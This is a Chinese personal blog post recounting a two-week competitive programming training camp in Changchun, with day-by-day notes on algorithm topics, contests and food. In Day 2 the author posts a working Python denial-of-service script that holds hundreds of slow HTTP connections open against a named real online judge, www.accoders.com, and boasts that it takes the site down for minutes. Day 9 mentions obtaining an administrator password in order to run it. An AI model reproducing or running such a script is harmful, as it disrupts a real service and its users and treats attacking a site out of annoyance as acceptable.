吉林长春东北师范大学附属中学集训游记

2023-12-15 09:08:27

Preface

转眼间，为时两周的集训就要结束了。
谨以此文，聊表感念。

Day 1

第一天到东北，有几个点倒确实是非常的出乎意料：

并没有非常凉快（事实上，除了今天下了雨稍凉快一些，其余时间都非常热）
东北菜并没有想象中好吃……

但总的来说，一个新环境会带给人惊喜，加之不错的酒店环境，给整个集训都带来了欢乐的基调。

吐槽一下酒店：卫生间全透明！

Day 2

第一天讲的居然是……搜索？

不过我仍然很菜不会就是了。

下午打了模拟赛——其实我感觉打模拟赛要比听课更重要一些吧，因为知识点你在比赛的时候也用不出来（bushi

侥幸 \(\texttt{AC}\) 了一道题，拿到了第二的好成绩（现在看来应该是第一，因为另一个人始终没有出现？

吐槽一下 \(\texttt{Accoders}\)，你永远不知道你的代码为甚么不能通过他的编译。

所以给大家介绍一个代码，可解心头之恨。


import socket
import time
import threading

MAX_CONN=300

PORT=80

HOST="www.accoders.com"
PAGE="/"

buf=("POST %s HTTP/1.1\r\n"

"Host: %s\r\n"

"Content-Length: 10000\r\n"

"Cookie: dklkt_dos_test\r\n"

"\r\n" % (PAGE,HOST))

socks=[]

def conn_thread():
    global socks
    while len(socks)<MAX_CONN:
        s=socket.socket (socket.AF_INET,socket.SOCK_STREAM)
        try:
            s.connect((HOST,PORT))
            s.send(buf.encode('utf-8'))
            #print ("[+] Send buf OK!,conn=%d\n"%len(socks))
            socks.append(s)
        except Exception as ex:
            print ("[-] Could not connect to server or send error:%s"%ex)
            time.sleep(2)

def send_thread():
    global socks
    while True:
        for s in socks:
            try:
                s.send("f".encode('utf-8'))
                #print ("[+] send OK! %s"%s)
            except Exception as ex:
                print ("[-] send Exception:%s\n"%ex)
                socks.remove(s)
                s.close()
                time.sleep(1)

conn_th=threading.Thread(target=conn_thread,args=())
send_th=threading.Thread(target=send_thread,args=())
conn_th.start()
send_th.start()

while(True):
    print("存活连接数：%d       "%len(socks))
    time.sleep(1)

把这个 python 代码跑出来，就能让 \(\texttt{Accoders}\) 短暂崩溃 \(5\sim 10\) 分钟。

晚上的晚自习就把比塞题改了一下，这里要夸一下东师附中的电脑，非常好啊，还是 windows 11 系统！

Day 3

博弈论……完全不会。

就很玄学，只能靠打题多练下吧。

Day 4

树套树/可持久化数据结构

比较擅长，就是树套树太难打啦（思路很清晰，手也很累）。

另外，区间静态强制在线逆序对为什么还要有 \(\Theta(n\log n\sqrt n)\) 的做法啊？

直接当场爆标！

这个知识点还可以。

Day 5

线段树合并

好像没做几道题，还要再打打。

Day 6

\(\texttt{dp}\) 优化，自己居然推出了斜率优化的式子，开心。

Day 7

放假

烤肉好香啊！！！

我永远喜欢心口，板筋！

蚕蛹就算了吧。

Day 8

\(\texttt{Min-Max}\) 容斥，常系数齐次线性递推。

这个讲师神了啊，30分钟把这个讲完了哈哈哈哈哈哈哈哈哈。

然后就被举报了。

打个广告：常系数齐次线性递推题解

Day 9

网络流经典建模。

不太会，对网络流一直无感，但是做了些题感觉还好。

坐我旁边的人真的好吵！！！！！！！！！！！！！！

终于得到了管理员密码，可以跑上文提到的 python 了。

Day 10

图连通性，毒瘤仙人掌。

做了两三道题，有时间再做吧。

Day 11,12

生病……

Day 13

字符串，zy学长超棒。

做了一点点题，不太会。

一早上出了两道题！

终于把 \(\texttt{syOI Round 2}\) 题出完了，回去造数据！

Summary

集训的收获还是很丰富的，也体现出了一些问题。

接下来要补的短板：博弈论，网络流，字符串。

模拟赛还是没有 \(\texttt{AK}\)，很惨。

码农公寓